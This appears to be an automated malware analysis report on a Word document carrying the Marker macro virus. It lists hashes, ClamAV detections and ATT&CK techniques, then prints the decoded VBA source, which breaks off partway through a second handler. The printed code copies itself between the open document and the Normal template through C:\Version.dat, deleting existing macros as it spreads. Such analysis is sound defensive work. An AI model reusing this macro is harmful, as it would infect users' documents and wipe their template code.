Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ade1011a4b21ddde…

MALICIOUS

Office (OLE)

105.0 KB Created: 2001-07-02 00:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 906bddc768bc9bd8e131bbc9d3e52b79 SHA-1: e05f876b86f46f76e87c8a3bcd7ac01940165fc5 SHA-256: ade1011a4b21dddee100d8b440f24f35f9578fb5f953e86f07f63766e9620aa5
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The macro attempts to write its own code to 'C:\Version.dat', indicating an attempt to establish persistence or download a second-stage payload. The presence of ClamAV detections further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6728 bytes
SHA-256: b5b200f2f35e300de4320b1f9919263de027b3a7df620a3e13390fb2420c427d
Detection
ClamAV: Doc.Trojan.Marker-21
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

    On Error Resume Next
    
    Const Marker = "<- this is a new killer!"
    
    'Declare Variables
    Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
    Dim ad, nt As Object, iCount As Integer
    Dim OurCode, UserAddress, LogData, LogFile As String
    
    'Initialize Variables
    Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
    Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
    
    DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
    NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
    
    If ActiveDocument.VBProject.VBComponents.Count > 1 Then
        DocumentInfected = False
    End If
    
    If NormalTemplate.VBProject.VBComponents.Count > 1 Then
        If NormalTemplate.VBProject.VBComponents.Item(2).CodeModule.CountOfLines > 2 Then
                NormalTemplateInfected = False
        End If
    End If
    
    'Switch the VirusProtection ON
    Options.VirusProtection = True
    
    'write to file
    If DocumentInfected = True Then
        If NormalTemplateInfected = False Then
           Kill "C:\Version.dat"
           Open "C:\Version.dat" For Output As #1
           OurCode = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
           Print #1, OurCode
           Close #1
           
           iCount = NormalTemplate.VBProject.VBComponents.Count
           For i = 1 To iCount
               NormalTemplate.VBProject.VBComponents.Item(i).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(i).CodeModule.CountOfLines
           Next i
           
    '       NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, _
                                   NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
           NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Version.dat"
           NormalTemplate.Save
        End If
    End If
    
    If NormalTemplateInfected = True Then
        If DocumentInfected = False Then
            Kill "C:\Version.dat"
            Open "C:\Version.dat" For Output As #1
            OurCode = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
            Print #1, OurCode
            Close #1
            
            iCount = NormalTemplate.VBProject.VBComponents.Count
            For i = 1 To iCount
                ActiveDocument.VBProject.VBComponents.Item(i).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(i).CodeModule.CountOfLines
            Next i
    
            'ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, _
                                                        ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
            ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Version.dat"
            ActiveDocument.Save
        End If
    End If
End Sub

Private Sub Document_Close()

    On Error Resume Next
    
    Const Marker = "<- this is a new killer!"
    
    'Declare Variables
    Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
    Dim ad, nt As Object, iCount As Integer
    Dim OurCode, UserAddress, LogData, LogFile As String
    
    'Initialize Variables
    Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
    Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
    
    DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
    NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 
... (truncated)

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